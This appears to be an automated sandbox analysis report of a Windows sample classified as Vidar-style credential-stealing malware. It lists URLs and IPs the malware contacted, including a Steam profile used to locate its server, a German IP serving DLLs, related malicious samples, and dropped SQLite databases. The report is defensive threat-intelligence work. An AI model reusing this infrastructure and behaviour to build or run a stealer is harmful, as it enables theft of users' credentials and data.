https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FIEHII.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HCFIJK.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	HCFIJK.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IEHCAK.2.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://78.47.123.174;	RegAsm.exe, 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	IEHCAK.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/news/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://78.47.123.174HCAF	RegAsm.exe, 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	HCFIJK.2.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/discussions/	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	HCFIJK.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199689717899/badges	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000002.00000002.2472411920.000000001921D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199689717899/inventory/	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HCFIJK.2.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOIT	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=1rP88j3WZLBx&amp	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	HCFIJK.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli	RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	false	Avira URL Cloud: safe	unknown
https://78.47.123.174/sqls.dllb	RegAsm.exe, 00000002.00000002.2467689392.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://78.47.123.174DBKE	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/account/cookiepreferences/	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org	IEHCAK.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/	76561199689717899[1].htm.2.dr	true	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	HCFIJK.2.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/login/ho	RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199689717899	76561199689717899[1].htm.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
78.47.123.174	unknown	Germany		24940	HETZNER-ASDE	false
23.197.127.21	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1445903
Start date and time:	2024-05-22 18:27:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/26@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 95 Number of non-executed functions: 241
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:28:03	API Interceptor	1x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
78.47.123.174	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	5C8BGNPCno.exe	Get hash	malicious	CryptOne, Vidar	Browse
23.197.127.21	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	https://store-steampowered-com.glitch.me/	Get hash	malicious	Unknown	Browse
	Advanced_IP_Scanner_2.5.4594.1 (1).exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	Vidar	Browse	92.122.104.90
	file.exe	Get hash	malicious	Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	Vidar	Browse	23.67.133.187
	5C8BGNPCno.exe	Get hash	malicious	CryptOne, Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	3108_FreeDownloadFiles.zip	Get hash	malicious	PureLog Stealer, Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29
	file.exe	Get hash	malicious	Vidar	Browse	104.102.42.29

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	what dmv forms do i need to sell my car in ny 88970.js	Get hash	malicious	GookitLoader	Browse	136.243.58.194
	http://ct.ke/STUDENTS-FREE-LAPT0PS	Get hash	malicious	Unknown	Browse	148.251.133.229
	New Order.exe	Get hash	malicious	Unknown	Browse	88.99.137.18
	New Order.exe	Get hash	malicious	Unknown	Browse	88.99.137.18
	http://adsbymediavine.com	Get hash	malicious	Unknown	Browse	148.251.217.242
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	Zahlungsbest#U00e4tigung und Rechnung_pdf.bat	Get hash	malicious	FormBook, GuLoader	Browse	159.69.69.102
	bR9Ri9cFkm.elf	Get hash	malicious	Unknown	Browse	95.217.252.220
	Swift_USD103,700.exe	Get hash	malicious	FormBook	Browse	213.133.100.254
	Maersk-BL-Ref0929339041333 47367282378722.scr	Get hash	malicious	AgentTesla	Browse	213.133.101.82
AKAMAI-ASN1EU	https://cs-server-s2s.yellowblue.io/sync-iframe	Get hash	malicious	Unknown	Browse	23.197.120.249
	http://adsbymediavine.com	Get hash	malicious	Unknown	Browse	104.97.15.51
	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	MDE_File_Sample_6730f38a2cc3af5580532de53ea1d08e89e88e48.zip	Get hash	malicious	Unknown	Browse	23.43.61.160
	https://www.bing.com/ck/a?!&&p=8ea437cdae831bffJmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0wZTZlYTYzMC1mOTliLTY4ZWUtMmFlZS1iNWJmZjhiYzY5NDUmaW5zaWQ9NTIwNw&ptn=3&ver=2&hsh=3&fclid=0e6ea630-f99b-68ee-2aee-b5bff8bc6945&psq=yamamotokota.com&u=a1aHR0cHM6Ly95YW1hbW90b2tvdGEuY29tL0hPTUU#ZHVuY2FuLnJlYWRAam9obmxld2lzLmNvLnVr	Get hash	malicious	Unknown	Browse	104.126.37.177
	http://sallywilliamson.com	Get hash	malicious	Unknown	Browse	184.86.103.210
	https://innate-acidic-slip.glitch.me/public/zn0u.htm?/NATWESTB.ANKCR.CARD/info.htm	Get hash	malicious	Unknown	Browse	23.45.239.27
	ATTN EFT_Wire 63708 Transfer Receipt.docx	Get hash	malicious	Unknown	Browse	104.126.37.152
	file.exe	Get hash	malicious	Vidar	Browse	23.67.133.187
	http://selliliar.live	Get hash	malicious	Unknown	Browse	2.16.238.13

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	file.exe	Get hash	malicious	Vidar	Browse	78.47.123.174
	5C8BGNPCno.exe	Get hash	malicious	CryptOne, Vidar	Browse	78.47.123.174
	7mDq6gvYVH.exe	Get hash	malicious	CobaltStrike	Browse	78.47.123.174
	7mDq6gvYVH.exe	Get hash	malicious	CobaltStrike	Browse	78.47.123.174
	perl530.dll.dll	Get hash	malicious	CobaltStrike	Browse	78.47.123.174
	perl530.dll.dll	Get hash	malicious	CobaltStrike	Browse	78.47.123.174
37f463bf4616ecd445d4a1937da06e19	UPazTgVGA7.dll	Get hash	malicious	Unknown	Browse	23.197.127.21
	UPazTgVGA7.dll	Get hash	malicious	Unknown	Browse	23.197.127.21
	FRA.0038253.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.197.127.21
	Factura_pdf.exe	Get hash	malicious	GuLoader	Browse	23.197.127.21
	file.exe	Get hash	malicious	Vidar	Browse	23.197.127.21
	Zahlungsbest#U00e4tigung und Rechnung_pdf.bat	Get hash	malicious	FormBook, GuLoader	Browse	23.197.127.21
	waybillDoc_20052024.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.197.127.21
	101764ZAM2024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.197.127.21
	Twrchtrywth.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.197.127.21
	SKIIP 83EC125T1 22-0-05-24RQ.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.197.127.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\DBFCBGCGIJKJ\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	5C8BGNPCno.exe	Get hash	malicious	CryptOne, Vidar	Browse
	66AF3M5zgO.exe	Get hash	malicious	Vidar	Browse
	sSX92EpKXA.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	tTcrJ0HtoJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	l2XteV3M4u.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	7067B48pY6.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\DBFCBGCGIJKJ\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	5C8BGNPCno.exe	Get hash	malicious	CryptOne, Vidar	Browse
	66AF3M5zgO.exe	Get hash	malicious	Vidar	Browse
	sSX92EpKXA.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	tTcrJ0HtoJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	l2XteV3M4u.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	7067B48pY6.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DBFCBGCGIJKJ\AKJDGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\EGIDHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
